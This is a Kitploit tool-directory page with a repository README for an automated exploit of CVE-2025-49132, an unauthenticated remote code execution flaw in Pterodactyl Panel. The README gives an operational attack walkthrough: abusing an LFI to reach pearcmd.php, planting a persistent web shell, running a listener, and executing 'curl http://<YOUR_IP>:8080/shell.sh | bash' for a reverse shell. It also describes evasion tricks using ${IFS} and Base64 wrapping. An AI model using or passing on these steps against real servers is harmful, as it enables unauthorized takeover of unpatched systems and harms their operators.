Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49132-Mods — Automated exploit for CVE-2025-49132, a critical unauthenticated RCE in Pterodactyl Panel. Leverages LFI via locale endpoint to deploy persistent web shells and achieve reverse shell access. | Kitploit
Tools/GitHubGitHub/malw0re/cve-2025-49132-mods
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubmalw0re/cve-2025-49132-mods

CVE-2025-49132-Mods

Automated exploit for CVE-2025-49132, a critical unauthenticated RCE in Pterodactyl Panel. Leverages LFI via locale endpoint to deploy persistent web shells and achieve reverse shell access.

View Repository
122496 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-49132 - RCE Simple

Python CVE

📝 Overview

This repository contains a specialized exploit for CVE-2025-49132, a critical unauthenticated Remote Code Execution (RCE) vulnerability in the Pterodactyl Panel (prior to v1.11.11).

The vulnerability exists in the /locales/locale.json endpoint. By manipulating the locale and namespace query parameters, an attacker can leverage a Local File Inclusion (LFI) to interact with pearcmd.php. This allows for arbitrary file creation and command execution, leading to a full system compromise.

⚙️ Exploit Chain

The ape.py script automates the following steps:

PEAR Discovery: Fuzzes the directory structure to locate the PEAR installation on the target.

Backdoor Creation: Uses PEAR's config-create to write a persistent web shell to /tmp/shell.php.

🚀 Usage Instructions

To achieve a successful callback on the target, follow this workflow:

  1. Preparation Listener: Start Penelope (or your preferred listener) in a separate terminal:

penelope -p 4444

Staging Server: If using a custom shell script, host it via Python: python3 -m http.server 8080

  1. Execution Run the script in interactive mode to maintain control over the exploitation process:

python3 ape.py --host xxx.xxx.xxx --interactive

  1. Catching the Shell Inside the shell> prompt, use the following command to execute your staged payload:

shell> curl http://<YOUR_IP>:8080/shell.sh | bash

🛡️ Technical Safeguards

Space Bypassing: Automatically uses ${IFS} to ensure payloads survive URL parsing.

Base64 Wrapper: Wraps reverse shell commands in Base64 to prevent character mangling by the target's Nginx/Web server.

Timeout Handling: Designed to detect when a reverse shell has successfully connected even if the web request hangs.

Download Tool